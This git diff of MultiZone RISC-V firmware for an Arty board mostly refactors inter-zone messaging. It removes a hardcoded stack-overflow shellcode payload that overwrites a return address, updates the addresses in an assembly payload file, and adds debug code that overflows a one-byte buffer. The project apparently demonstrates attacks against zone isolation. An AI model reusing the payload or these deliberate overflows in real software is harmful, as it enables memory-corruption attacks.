diff --git a/ArtyImplementation/bsp/X300/multizone.cfg b/ArtyImplementation/bsp/X300/multizone.cfg
index 6ea50a43fc15c4ab7030efff4a0f387c915cbffd..fd797ac8342f8f66badd92e0fb9fe7dd677a1ee3 100644
--- a/ArtyImplementation/bsp/X300/multizone.cfg
+++ b/ArtyImplementation/bsp/X300/multizone.cfg
@@ -7,7 +7,7 @@ Tick = 10 # ms
 Zone = 1
 	plic = 21 # ETHERNET 
 	base = 0x20440000; size =     128K; rwx = rwx # FLASH 
-	base = 0x80001800; size =      38K; rwx = rwx # RAM
+	base = 0x80001800; size =      32K; rwx = rwx # RAM
 	base = 0x8000B000; size =       2K; rwx = w  # SH BUFF1
 	base = 0x8000B800; size =       8K; rwx = w  # SH BUFF2
 	base = 0x60000000; size =   0x2000; rwx = rw # XEMACLITE
@@ -15,6 +15,6 @@ Zone = 1
 Zone = 2
 	plic = 3 # UART
 	irq  = 3 # DMA
-	base = 0x20401800; size =      26K; rwx = rx # FLASH
+	base = 0x20401800; size =      48K; rwx = rx # FLASH
 	base = 0x8000D800; size =       4K; rwx = rw # RAM
 	base = 0x10013000; size =    0x100; rwx = rw # UART
diff --git a/ArtyImplementation/get_debuginfo.py b/ArtyImplementation/get_debuginfo.py
index f4ffe16f58127ff2a6368b71b0ffcf4eca0ae229..dd774cef97615c7de32b5071e01d980549848fcd 100755
--- a/ArtyImplementation/get_debuginfo.py
+++ b/ArtyImplementation/get_debuginfo.py
@@ -3,24 +3,21 @@
 import os
 import sys
 import subprocess
+from functools import reduce
 
 try:
     if sys.argv[1] == "--help" or sys.argv[1] == "-h":
-        print(f"{sys.argv[0]} elffile outputfile")
+        print(f"{sys.argv[0]} elffile[s]")
 except:
-        print(f"{sys.argv[0]} elffile outputfile")
+        print(f"{sys.argv[0]} elffile[s]")
         exit()
-elf_file = ""
-out_file = ""
+elf_files = []
 try:
-    elf_file = sys.argv[1]
+    elf_files = sys.argv[1:]
 except:
     print("Error parsing parameters: elffile")
 
-try:
-    out_file = sys.argv[2]
-except:
-    print("Error parsing parameters: outputfile")
+out_files = list(map(lambda elf: elf.split('/')[-1].split('.elf')[0] + ".dmp", elf_files))
 
 arch_prefix = "riscv64-unknown-elf-"
 try:
@@ -46,8 +43,11 @@ if not os.path.isfile(objdmp):
 
 subprocess.run(["make"])
 
-out_file = open(out_file, "w")
-subprocess.run([f"{objdmp}", "-D", elf_file],stdout=out_file)
-if not out_file.closed:
-    out_file.close()
-
+out_files = list(map(lambda out: open(out, "w"), out_files))
+out_files = list(zip(out_files, elf_files))
+reduce(
+    lambda _, t: subprocess.run([f"{objdmp}", "-D", t[1]],stdout=t[0])
+    , out_files
+    , []
+    )
+map(lambda out: out.close() if not out.closed else out, out_files)
diff --git a/ArtyImplementation/payload_arty.as b/ArtyImplementation/payload_arty.as
index 5a6a26dd26a37044ed2046abd96986d14d2f55eb..ef24a35f0ff6a8ae83810559492966901480f7b4 100644
--- a/ArtyImplementation/payload_arty.as
+++ b/ArtyImplementation/payload_arty.as
@@ -1,4 +1,4 @@
 .text
-    li a0, 0x2044b338
-    li t3, 0x204408aa
+    li a0, 0x2040424c
+    li t3, 0x20440964
     jalr t4, t3
diff --git a/ArtyImplementation/shared/ZoneMessage.c b/ArtyImplementation/shared/ZoneMessage.c
index e2499609683e93e36e25e2778a8d06f750dfd815..febfa407a3670dee2f2afd24f24e2e72c752cd3e 100644
--- a/ArtyImplementation/shared/ZoneMessage.c
+++ b/ArtyImplementation/shared/ZoneMessage.c
@@ -1,46 +1,69 @@
 #include "include/ZoneMessage.h"
 
 
-void initZoneMessage(struct ZoneMessage *zm)
+struct ZoneMessage *initZoneMessage()
 {
-	zm = malloc(sizeof(struct ZoneMessage));
+	struct ZoneMessage *zm;
+	zm = (struct ZoneMessage*)malloc(sizeof(struct ZoneMessage));
 	zm->len = 0;
 	zm->data = NULL;
+	return zm;
 }
 void freeZoneMessage(struct ZoneMessage *zm)
 {
-	zm->data;
+	free(zm->data);
 	free(zm);
 }
 
-void setZoneMessage(struct ZoneMessage *zm, char *data, uint16_t length)
+
+struct ZoneMessage*  setZoneMessage(struct ZoneMessage* zm, char* data, uint16_t dataLen, enum NEEDSINIT initState)
 {
-	zm->data = (char*)malloc(length);
-	memcpy(data, zm->data, length);
-	zm->len = length;
+	if(initState == NotYetInitialized)
+		zm = initZoneMessage();
+	zm->data = (char*)malloc(dataLen);
+	memset(zm->data, 0, dataLen);
+	zm->len = dataLen;
+	memcpy(zm->data, data, dataLen);
+
+	return zm;
 }
 
 char *serializeZoneMessage(struct ZoneMessage* zm, enum IMPLICITFREE freeAfter)
 {
-	char *buffer = (char*)malloc(zm->len + sizeof(uint16_t));
-	memcpy(buffer, (char*)&zm->len, sizeof(uint16_t));
-	memcpy(buffer + sizeof(uint16_t), zm->data, zm->len);
+
+	char *buffer = (char*)malloc(TransmissionHeaderLength + sizeof(uint16_t) + zm->len);
+
+	uint16_t written = 0;
+
+	memcpy(buffer + written, TransmissionHeader, TransmissionHeaderLength);
+	written += TransmissionHeaderLength;
+
+	*(uint16_t*)(buffer+written) = zm->len;
+	written += sizeof(uint16_t);
+
+
+	memcpy(buffer + written, zm->data, zm->len);
+
+
 	if(ImplicitFree == freeAfter)
 		freeZoneMessage(zm);
 
 	return buffer;
+
 }
 
 struct ZoneMessage *deserializeZoneMessage(char *zmb, enum IMPLICITFREE freeAfter)
 {
-	struct ZoneMessage *zm = (struct ZoneMessage *)calloc(1, sizeof(struct ZoneMessage));
-	initZoneMessage(zm);
-	zm->len = *(uint16_t*)zmb;
-	zm->data = (char*)malloc(zm->len);
-	memcpy(zm->data, zmb+sizeof(uint16_t), zm->len);
-
+	struct ZoneMessage *zm;
+	zm = setZoneMessage(
+			zm
+			, zmb + TransmissionHeaderLength + sizeof(uint16_t)
+	        , *(uint16_t*)(zmb + TransmissionHeaderLength)
+		    , NotYetInitialized
+	);
 	if(ImplicitFree == freeAfter)
 		free(zmb);
 
 	return zm;
 }
+
diff --git a/ArtyImplementation/shared/include/ZoneMessage.h b/ArtyImplementation/shared/include/ZoneMessage.h
index 83d863ed6ac943787cf6b1c231e62920f002f570..864dc3a41291ac65ec4f3930c01e919692ac40b8 100644
--- a/ArtyImplementation/shared/include/ZoneMessage.h
+++ b/ArtyImplementation/shared/include/ZoneMessage.h
@@ -13,11 +13,18 @@ struct ZoneMessage {
 };
 
 enum IMPLICITFREE {ExplicitFree, ImplicitFree};
+enum NEEDSINIT {NotYetInitialized, AlreadyInitialized};
 
-void initZoneMessage(struct ZoneMessage *zm);
-void setZoneMessage(struct ZoneMessage *zm, char *data, uint16_t length);
+static const char * TransmissionHeader = "TransmissionL";
+#define TransmissionHeaderLength strlen(TransmissionHeader) + 1
+
+
+struct ZoneMessage *initZoneMessage();
+void freeZoneMessage(struct ZoneMessage *zm);
+struct ZoneMessage*  setZoneMessage(struct ZoneMessage* zm, char* data, uint16_t dataLen, enum NEEDSINIT initState);
 
 char *serializeZoneMessage(struct ZoneMessage* zm, enum IMPLICITFREE freeAfter);
 struct ZoneMessage *deserializeZoneMessage(char *zmb, enum IMPLICITFREE freeAfter);
 
+
 #endif /* SHARED_INCLUDE_ZONEMESSAGE_H_ */
diff --git a/ArtyImplementation/shared/include/messageHandling.h b/ArtyImplementation/shared/include/messageHandling.h
index 8586e64aeb315dcc922a68e40808b7fffa86d073..b9e8f01814db28830c5b12c3d1a40666b3eeafc8 100644
--- a/ArtyImplementation/shared/include/messageHandling.h
+++ b/ArtyImplementation/shared/include/messageHandling.h
@@ -9,7 +9,8 @@
 #include "ZoneMessage.h"
 
 #define printf2(format, args...) { /* Multi-part printf()  */\
-	char *str = malloc(128);									 \
+	char *str = malloc(128);		\
+	memset(str, 0, 128); \
 	if (str != NULL){										 \
 		const int len = snprintf(str, 128, format, ## args);	 \
 		for (int i=0; i<(len/16)+1; i++){					 \
@@ -21,7 +22,9 @@
 
 void msg_handler();
 
+struct ZoneMessage* receiveZoneMessageAndHandlePrintf2(uint8_t receiveFromZone, char *inputline);
 struct ZoneMessage* receiveZoneMessage(uint8_t receiveFromZone);
-void sendZoneMessage(struct ZoneMessage* zm, uint8_t sendToZone, enum IMPLICITFREE freeAfter);
+struct ZoneMessage* sendZoneMessage(struct ZoneMessage* zm, uint8_t sendToZone, enum IMPLICITFREE freeAfter);
+
 
 #endif /* ZONE1_MESSAGE_HANDLING_H_ */
diff --git a/ArtyImplementation/shared/messageHandling.c b/ArtyImplementation/shared/messageHandling.c
index 04b1bbd4bbf1d7926d5c603133cfb131dfd3d62b..845b03f5eb1bf873eae7f7d5493b0e518765f958 100644
--- a/ArtyImplementation/shared/messageHandling.c
+++ b/ArtyImplementation/shared/messageHandling.c
@@ -16,7 +16,8 @@ void msg_handler(char *inputline) {
 			if (strcmp("ping", msg) == 0){
 				MZONE_SEND(zone, "pong");
 
-			} else {
+			}
+			else {
 
 				// print multi-part string up to 64-1=63 char
 
@@ -42,48 +43,174 @@ void msg_handler(char *inputline) {
 	}
 
 }
+struct ZoneMessage* receiveZoneMessageLoop(uint8_t receiveFromZone, char *messageBuffer)
+{
+	//First Buff:
+	//[T,r,a,n,s,m,i,s,s,i,o,n,L,\0,len,len]
+	char *recvBuffer;
+	uint16_t toReceive = TransmissionHeaderLength
+			+ sizeof(uint16_t)
+			+ *(uint16_t*)(messageBuffer + TransmissionHeaderLength);
+	recvBuffer = (char*)malloc(toReceive);
+	uint16_t dataStringDBGLen= *(uint16_t*)(messageBuffer + TransmissionHeaderLength);
+	uint16_t received = 0;
+	uint16_t receivedMessage = 1;
+	while (1)
+	{
+		if(receivedMessage != 0) {
+			uint16_t copyBytes;
+			copyBytes = 16;
+			if (copyBytes > toReceive-received)
+				copyBytes = toReceive-received;
+			memcpy(recvBuffer + received, messageBuffer, copyBytes);
+			received += 16;
+		}
+		if(received < toReceive) {
+			MZONE_WFI(); //Wait until a message arrives
+		}
+		else
+			break; //everything has been received
+		receivedMessage = MZONE_RECV(receiveFromZone, messageBuffer);
+	}
+
+	struct ZoneMessage *zm;
+
+	zm = deserializeZoneMessage(recvBuffer, ImplicitFree);
+
+	return zm;
+}
+struct ZoneMessage* receiveZoneMessageAndHandlePrintf2(uint8_t receiveFromZone, char *inputline) {
+		char messageBuffer[16];
+		static char str[2][64] = {"",""};
+		static char *recvBuffer[2] = {str[0], str[1]};
+		memset(&messageBuffer[0], 0, 16);
+		if (MZONE_RECV(receiveFromZone, messageBuffer)) {
+			if(strncmp(TransmissionHeader, &messageBuffer[0], strlen(TransmissionHeader)) == 0) {
+				struct ZoneMessage *zm;
+				printf("received a ZM-Header mesg: %s%02u\n",messageBuffer, *(uint16_t*)(messageBuffer + TransmissionHeaderLength));
+				zm = receiveZoneMessageLoop(receiveFromZone, messageBuffer);
+				printf("Deserialized the ZM-Header mesg\n");
+				return zm;
+
+			}
+			else {
+				// print multi-part string up to 64-1=63 char
+				memcpy( recvBuffer[receiveFromZone-1], messageBuffer, sizeof(messageBuffer));
+				recvBuffer[receiveFromZone-1] += sizeof(messageBuffer);
+				if ( recvBuffer[receiveFromZone-1] > str[receiveFromZone-1] + sizeof(str[receiveFromZone]))
+					recvBuffer[receiveFromZone-1]=str[receiveFromZone-1];
+
+				if ( strnlen(messageBuffer, sizeof(messageBuffer)) < sizeof(messageBuffer) ){
+
+					write(1, "\e7\e[2K", 6);   // save curs pos & clear entire line
+						printf("\rZ%d > %s \n", receiveFromZone, str[receiveFromZone-1]);
+						if (strrchr(str[receiveFromZone-1], '\n')==NULL) printf("\n");
+						printf("\rZ2 > %s", inputline);
+					write(1, "\e8\e[2B", 6);   // restore curs pos & curs down 2x
+
+					recvBuffer[receiveFromZone-1]=str[receiveFromZone-1];
+
+				}
+				return NULL;
+			}
+		}
+		else {
+			return NULL;
+		}
+}
 
 struct ZoneMessage* receiveZoneMessage(uint8_t receiveFromZone)
 {
 	char messageBuffer[16];
 	memset(&messageBuffer[0], 0, 16);
 	if (MZONE_RECV(receiveFromZone, messageBuffer)) {
-		if(strncmp("TransmitLen", &messageBuffer[0], 11) == 0) {
-			//First Buff:
-			//[T,r,a,n,s,m,i,t,L,e,n,\0,len,len,len,len]
-			struct ZoneMessage *zm = (struct ZoneMessage*) calloc(1, sizeof(struct ZoneMessage));
-			initZoneMessage(zm);
-
-			zm->len = *(uint16_t *)&messageBuffer[12];
-			uint16_t received = 0;
-			zm->data = (char *)malloc(zm->len);
-			while(received < zm->len) {
-				MZONE_RECV(receiveFromZone, &messageBuffer[0]);
-				memcpy(zm->data + received, &messageBuffer[0], 16);
-				received += 16;
-			}
-
+		if(strncmp(TransmissionHeader, &messageBuffer[0], strlen(TransmissionHeader)) == 0) {
+			struct ZoneMessage *zm;
+			//printf2("received a ZM-Header mesg: %s%02u\n",messageBuffer, *(uint16_t*)(messageBuffer + TransmissionHeaderLength));
+			zm = receiveZoneMessageLoop(receiveFromZone, messageBuffer);
+			//printf2("Deserialized the ZM-Header mesg\n");
+			return zm;
 		}
+		return NULL;
 	}
-	else
+	else {
 		return NULL;
-
-
+	}
 }
 
-void sendZoneMessage(struct ZoneMessage* zm, uint8_t sendToZone, enum IMPLICITFREE freeAfter)
+struct ZoneMessage *sendZoneMessage(struct ZoneMessage* zm, uint8_t sendToZone, enum IMPLICITFREE freeAfter)
 {
-	char *zmb = serializeZoneMessage(zm, freeAfter);
+	char *zmb;
+
+	uint16_t dbglen = zm->len;
+
+	uint16_t len = TransmissionHeaderLength + sizeof(uint16_t) + zm->len;
+
+	if(sendToZone == 1) {
+		printf("Serializing via function call\n");
+		zmb = serializeZoneMessage(zm, freeAfter);
+		printf("Serialization successful\n");
+	}
+	if(sendToZone == 2) {
+		zmb = serializeZoneMessage(zm, freeAfter);
+		char *dbg = (char*)malloc(dbglen + 1);
+		memcpy(dbg, zmb+TransmissionHeaderLength + sizeof(uint16_t), dbglen);
+		dbg[dbglen] = 0;
+		printf2("Serialized into: [%s][%02u][%s]", zmb,*(uint16_t*)(zmb + TransmissionHeaderLength) , dbg);
+		free(dbg);
+	}
+	if(sendToZone == 1) {
+		printf("in second if scope\n");
+		char dbg[1];
+		printf("declared dbg\n");
+		dbg[0] = 'A';
+		printf("Assigned \"A\" to dbg\n");
+		printf("Copying into dbg buffer: from position zmb + %02u + %02u writing %02u Bytes\n", TransmissionHeaderLength, sizeof(zm->len), zm->len);
+		memcpy(dbg, zmb+TransmissionHeaderLength + sizeof(uint16_t), dbglen);
+	    printf("Serialized into: [%s][%02u][%02u]\n", zmb,*(uint16_t*)(zmb + TransmissionHeaderLength) , dbg[0]);
+	}
+
+	if(freeAfter == ImplicitFree)
+		zm = NULL;
+
 	uint16_t sent = 0;
-	char msgBuf[16] = "TransmitLen";
-	memcpy(&msgBuf[12],(char*)&zm->len, 4);
-
-	MZONE_SEND(sendToZone, msgBuf);
-	while(sent < zm->len) {
-		memset(&msgBuf[0],0, 16);
-		//TODO: May just iterate over zm->data directly instead of copy
-		memcpy(&msgBuf[0], zm->data + sent, zm->len - sent);
-		MZONE_SEND(sendToZone, msgBuf);
-		sent +=16;
+
+	while(sent < len) {
+		char msgBuf[16];
+		memset(msgBuf,0, sizeof(msgBuf));
+		//TODO: May just iterate over zmb directly instead of copy
+		uint16_t sendBytes = sizeof(msgBuf);
+		if (sendBytes > (len - sent))
+			sendBytes = len-sent;
+		memcpy(msgBuf, zmb + sent, sendBytes);
+		if(MZONE_SEND(sendToZone, msgBuf)) {
+			sent += 16;
+			if(sendToZone == 1) {
+				char dbg[17];
+				memcpy(dbg, msgBuf, 16);
+				dbg[16] = 0;
+				if(sent == 16) {
+					printf("Sent: %s%02u\n", dbg, (uint16_t)dbg[TransmissionHeaderLength]);
+				}
+				else
+					printf("Sent: %02u\n",dbg[0]);
+			}
+		}
+
+		if(sent < len) {
+			MZONE_YIELD();
+		}
+		else {
+			break;
+		}
 	}
+	/*if(sendToZone == 2) {
+		printf2("Fully sent message\n");
+	}*/
+	if(sendToZone == 1) {
+		printf("Sent whole message to zone 1\n");
+	}
+	return zm;
 }
+
+
diff --git a/ArtyImplementation/zone1/server_utility.h b/ArtyImplementation/zone1/server_utility.h
index c18addb5a47f37516f2f6ac9d0e8fb297e809351..a259fb7bd4b51018c0ed24a3a4455e0f0f0d2d18 100644
--- a/ArtyImplementation/zone1/server_utility.h
+++ b/ArtyImplementation/zone1/server_utility.h
@@ -30,11 +30,23 @@
 	"</html>"
 
 
-//char *admin_name = "my_secret_admin_name";
-char *admin_name = "injection working!!!";
-
 int is_admin(char *name, uint32_t name_len) {
-	return strlen(admin_name) == name_len && strncmp(name, admin_name, name_len) == 0;
+	struct ZoneMessage *zm;
+
+	zm = setZoneMessage(zm, name, name_len, NotYetInitialized);
+	zm = sendZoneMessage(zm, 2, ImplicitFree);
+
+	while(zm == NULL) {
+		zm = receiveZoneMessage(2);
+
+		MZONE_YIELD(); //Wait for a message to arrive
+	}
+
+	printf2("Received Message:\nlen: %u\ndata: %u\n", zm->len, *zm->data);
+
+	if(zm != NULL && zm->len == 1 && 1 == *zm->data)
+		return 1;
+	return 0;
 }
 
 char *generate_page(char *name, uint32_t name_len) {
@@ -67,51 +79,12 @@ char *server_request_handler(char *location, enum request_type type, char *data,
 		if(data_len >= 5 && strncmp(data, "name=", 5) == 0) {
 			uint32_t name_len = data_len - 5;
 			name_len = webserver_percent_decode(&data[5], name_len);
-			data =    "X" // padding to align the instructions
-
-			          "\x37\xb5\x44\x20" // 0: lui a0,0x2044b
-			          "\x13\x05\x85\x33" // 4: addi a0,a0,824 # 0x2044b338
-			          "\x37\x1e\x44\x20" // 8: lui t3,0x20441
-			          "\x13\x0e\xae\x8a" // c: addi t3,t3,-1878 # 0x204408aa
-			          "\xe7\x0e\x0e\x00" // 10: jalr t4,t3
-
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-					  "XXXX" // padding to overwrite the return address
-
-			          "\x2C\x69\x00\x80" // the new frame pointer: 0x8000692C
-			          "\x78\x68\x00\x80"; // the new return address: 0x80006878
-
 
 			// nobody could possibly enter a name longer than 20 characters, so this buffer
 			// is definitely large enough
 			char *return_string;
-			//return_string = attack_me(&data[5], name_len);
-			return_string = generate_page(data, 137);
+
+			return_string = generate_page(&data[5], name_len);
 
 			char* response = http_prepare_response(return_string, strlen(return_string), 200, out_len);
 			//free(return_string);
diff --git a/ArtyImplementation/zone2/main.c b/ArtyImplementation/zone2/main.c
index 5b7be1bae9f6de9030a1071612443605ddc159b1..03e33029ae6b7775c6b47511c33925251a318284 100644
--- a/ArtyImplementation/zone2/main.c
+++ b/ArtyImplementation/zone2/main.c
@@ -109,439 +109,7 @@ __attribute__(( interrupt())) void trap_handler(void){
 
 }
 
-// ------------------------------------------------------------------------
- void print_cpu_info(void) {
-// ------------------------------------------------------------------------
-
-	// misa
-	const unsigned long misa = CSRR(misa);
-	const int xlen = ((misa >> __riscv_xlen-2)&0b11)==1 ?  32 :
-					 ((misa >> __riscv_xlen-2)&0b11)==2 ?  64 :
-					 ((misa >> __riscv_xlen-2)&0b11)==1 ? 128 :
-							 	 	 	 	 	 	 	 	0 ;
-	char misa_str[26+1]="";
-	for (int i=0, j=0; i<26; i++)
-		if ( (misa & (1ul << i)) !=0){
-			misa_str[j++]=(char)('A'+i); misa_str[j]='\0';
-		}
-	printf("Machine ISA   : 0x%08x RV%d %s \n", (int)misa, xlen, misa_str);
-
-	// mvendid
-	const unsigned long  mvendorid = CSRR(mvendorid);
-	const char *mvendorid_str = (mvendorid==0x10e31913 ? "SiFive, Inc.\0" :
-							     mvendorid==0x489      ? "SiFive, Inc.\0" :
-							     mvendorid==0x57c      ? "Hex Five, Inc.\0" :
-							    		 	 	 	 	 "\0");
-	printf("Vendor        : 0x%08x %s \n", (int)mvendorid, mvendorid_str);
-
-	// marchid
-	const unsigned long  marchid = CSRR(marchid);
-	const char *marchid_str = (mvendorid==0x489 && (int)misa==0x40101105    && marchid==0x80000002 ? "E21\0"  :
-							   mvendorid==0x489 && (int)misa==0x40101105    && marchid==0x00000001 ? "E31\0"  :
-						       mvendorid==0x489 && misa==0x8000000000101105 && marchid==0x00000001 ? "S51\0"  :
-						       mvendorid==0x57c && (int)misa==0x40101105    && marchid==0x00000001 ? "X300\0" :
-						       "\0");
-	printf("Architecture  : 0x%08x %s \n", (int)marchid, marchid_str);
-
-	// mimpid
-	printf("Implementation: 0x%08x \n", CSRR(mimpid) );
-
-	// mhartid
-	printf("Hart id       : 0x%1x \n", CSRR(mhartid) );
-
-	// CPU clk
-	printf("CPU clock     : %d MHz \n", (int)(CPU_FREQ/1E+6) );
-
-	// RTC clk
-	printf("RTC clock     : %d KHz \n", (int)(RTC_FREQ/1E+3) );
-
-}
-
-// ------------------------------------------------------------------------
- int cmpfunc(const void* a, const void* b){
-
-    const int ai = *(const int* )a;
-    const int bi = *(const int* )b;
-    return ai < bi ? -1 : ai > bi ? 1 : 0;
-}
-
-// ------------------------------------------------------------------------
-void print_stats(void){
-
-	#define MHZ (CPU_FREQ/1000000)
-	const int COUNT = 11; // odd values for accurate median
-	int cycles[COUNT], instrs[COUNT];
-
-	for (int i=0; i<COUNT; i++){
-
-		const unsigned long I1 = MZONE_CSRR(CSR_MINSTRET);
-		const unsigned long C1 = MZONE_CSRR(CSR_MCYCLE);
-		MZONE_YIELD();
-		const unsigned long I2 = MZONE_CSRR(CSR_MINSTRET);
-		const unsigned long C2 = MZONE_CSRR(CSR_MCYCLE);
-
-		cycles[i] = C2-C1; instrs[i] = I2-I1;
-
-	}
-
-	int max_cycle = 0;
-	for (int i=0; i<COUNT; i++)	max_cycle = (cycles[i] > max_cycle ? cycles[i] : max_cycle);
-	char str[16]; sprintf(str, "%lu", max_cycle); const int col_len = strlen(str);
-
-	for (int i=0; i<COUNT; i++)
-		printf("%*d instr %*d cycles %*d us \n", col_len, instrs[i], col_len, cycles[i], col_len, cycles[i]/MHZ);
-
-	qsort(cycles, COUNT, sizeof(int), cmpfunc);
-	qsort(instrs, COUNT, sizeof(int), cmpfunc);
-
-	printf("-----------------------------------------\n");
-    int min = instrs[0], med = instrs[COUNT/2], max = instrs[COUNT-1];
-    printf("instrs min/med/max = %d/%d/%d \n", min, med, max);
-	min = cycles[0], med = cycles[COUNT/2], max = cycles[COUNT-1];
-	printf("cycles min/med/max = %d/%d/%d \n", min, med, max);
-	printf("time   min/med/max = %d/%d/%d us \n", min/MHZ, med/MHZ, max/MHZ);
-
-	// Kernel stats (#ifdef STATS)
-	const unsigned irq_instr_min = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER26) & 0xFFFF);
-	const unsigned irq_instr_max = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER26) >>16);
-	const unsigned irq_cycle_min = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER27) & 0xFFFF);
-	const unsigned irq_cycle_max = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER27) >>16);
-	const unsigned long instr_min = MZONE_CSRR(CSR_MHPMCOUNTER28);
-	const unsigned long instr_max = MZONE_CSRR(CSR_MHPMCOUNTER29);
-	const unsigned long cycle_min = MZONE_CSRR(CSR_MHPMCOUNTER30);
-	const unsigned long cycle_max = MZONE_CSRR(CSR_MHPMCOUNTER31); // <= reset kern stats
-
-	if (instr_min>0){
-
-		printf("\n");
-		printf("Kernel time\n");
-		printf("-----------------------------------------\n");
-		printf("instrs min/max = %lu/%lu \n", instr_min, instr_max);
-		printf("cycles min/max = %lu/%lu \n", cycle_min, cycle_max);
-		printf("time   min/max = %lu/%lu us\n", cycle_min/MHZ, cycle_max/MHZ);
-
-		printf("\n");
-		printf("IRQ latency\n");
-		printf("-----------------------------------------\n");
-		printf("instrs min/max = %d/%d \n", irq_instr_min, irq_instr_max);
-		printf("cycles min/max = %d/%d \n", irq_cycle_min, irq_cycle_max);
-		printf("time   min/max = %d/%d us\n", irq_cycle_min/MHZ, irq_cycle_max/MHZ);
-
-	}
-
-}
-
-// ------------------------------------------------------------------------
-void print_pmp(void){
-// ------------------------------------------------------------------------
-
-	#define TOR   0b00001000
-	#define NA4   0b00010000
-	#define NAPOT 0b00011000
-
-	#define PMP_R 1<<0
-	#define PMP_W 1<<1
-	#define PMP_X 1<<2
-
-	uint64_t pmpcfg=0x0;
-#if __riscv_xlen==32
-	uint32_t pmpcfg0; asm ( "csrr %0, pmpcfg0" : "=r"(pmpcfg0) );
-	uint32_t pmpcfg1; asm ( "csrr %0, pmpcfg1" : "=r"(pmpcfg1) );
-	pmpcfg = pmpcfg1;
-	pmpcfg <<= 32;
-	pmpcfg |= pmpcfg0;
-#else
-	asm ( "csrr %0, pmpcfg0" : "=r"(pmpcfg) );
-#endif
-
-	unsigned long pmpaddr[8];
-	asm ( "csrr %0, pmpaddr0" : "=r"(pmpaddr[0]) );
-	asm ( "csrr %0, pmpaddr1" : "=r"(pmpaddr[1]) );
-	asm ( "csrr %0, pmpaddr2" : "=r"(pmpaddr[2]) );
-	asm ( "csrr %0, pmpaddr3" : "=r"(pmpaddr[3]) );
-	asm ( "csrr %0, pmpaddr4" : "=r"(pmpaddr[4]) );
-	asm ( "csrr %0, pmpaddr5" : "=r"(pmpaddr[5]) );
-	asm ( "csrr %0, pmpaddr6" : "=r"(pmpaddr[6]) );
-	asm ( "csrr %0, pmpaddr7" : "=r"(pmpaddr[7]) );
-
-	for (int i=0; i<8; i++){
-
-		const uint8_t cfg = (pmpcfg >> 8*i); if (cfg==0x0) continue;
-
-		char rwx[3+1] = {cfg & PMP_R ? 'r':'-', cfg & PMP_W ? 'w':'-', cfg & PMP_X ? 'x':'-', '\0'};
-
-		unsigned long start=0, end=0;
-
-		char type[5+1]="";
-
-		if ( (cfg & (TOR | NA4 | NAPOT)) == TOR){
-			start = pmpaddr[i-1]<<2;
-			end =  (pmpaddr[i]<<2) -1;
-			strcpy(type, "TOR");
-
-		} else if ( (cfg & (TOR | NA4 | NAPOT)) == NA4){
-			start = pmpaddr[i]<<2;
-			end =  start+4 -1;
-			strcpy(type, "NA4");
-
-		} else if ( (cfg & (TOR | NA4 | NAPOT)) == NAPOT){
-			for (int j=0; j<__riscv_xlen; j++){
-				if ( ((pmpaddr[i] >> j) & 0x1) == 0){
-					const uint64_t size = 1 << (3+j);
-					start = (pmpaddr[i] >>j) <<(j+2);
-					end = start + size -1;
-					strcpy(type, "NAPOT");
-					break;
-				}
-			}
-
-		} else break;
-
-		printf("0x%08x 0x%08x %s %s \n", (unsigned long)start, (unsigned int)end, rwx, type);
-
-	}
-
-}
-
-// --------------------------------------------------------------
-
-// ------------------------------------------------------------------------
-void cmd_handler(){
-
-	const char * tk[4] = { strtok(inputline, " "), strtok(NULL, " "), strtok(NULL, " "), strtok(NULL, " ")};
-
-	if (tk[0] == NULL) tk[0] = "help";
-
-	// --------------------------------------------------------------------
-	if (strcmp(tk[0], "load")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL){
-			uint8_t data = 0x00;
-			const unsigned long addr = strtoul(tk[1], NULL, 16);
-			asm ("lbu %0, (%1)" : "+r"(data) : "r"(addr));
-			printf("0x%08x : 0x%02x \n", (unsigned int)addr, data);
-		} else printf("Syntax: load address \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "store")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL && tk[2] != NULL){
-			const uint32_t data = (uint32_t)strtoul(tk[2], NULL, 16);
-			const unsigned long addr = strtoul(tk[1], NULL, 16);
-
-			if ( strlen(tk[2]) <=2 )
-				asm ( "sb %0, (%1)" : : "r"(data), "r"(addr));
-			else if ( strlen(tk[2]) <=4 )
-				asm ( "sh %0, (%1)" : : "r"(data), "r"(addr));
-			else
-				asm ( "sw %0, (%1)" : : "r"(data), "r"(addr));
-
-			printf("0x%08x : 0x%02x \n", (unsigned int)addr, (unsigned int)data);
-		} else printf("Syntax: store address data \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "exec")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL){
-			const unsigned long addr = strtoul(tk[1], NULL, 16);
-			asm ( "jr (%0)" : : "r"(addr));
-		} else printf("Syntax: exec address \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "dma")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL && tk[2] != NULL && tk[3] != NULL){
-			DMA_REG(DMA_TR_SRC_OFF)  = strtoul(tk[1], NULL, 16);
-			DMA_REG(DMA_TR_DEST_OFF) = strtoul(tk[2], NULL, 16);
-			DMA_REG(DMA_TR_SIZE_OFF) = strtoul(tk[3], NULL, 16);
-			DMA_REG(DMA_CH_CTRL_OFF) = 0b0001; // en irqs & start transfer
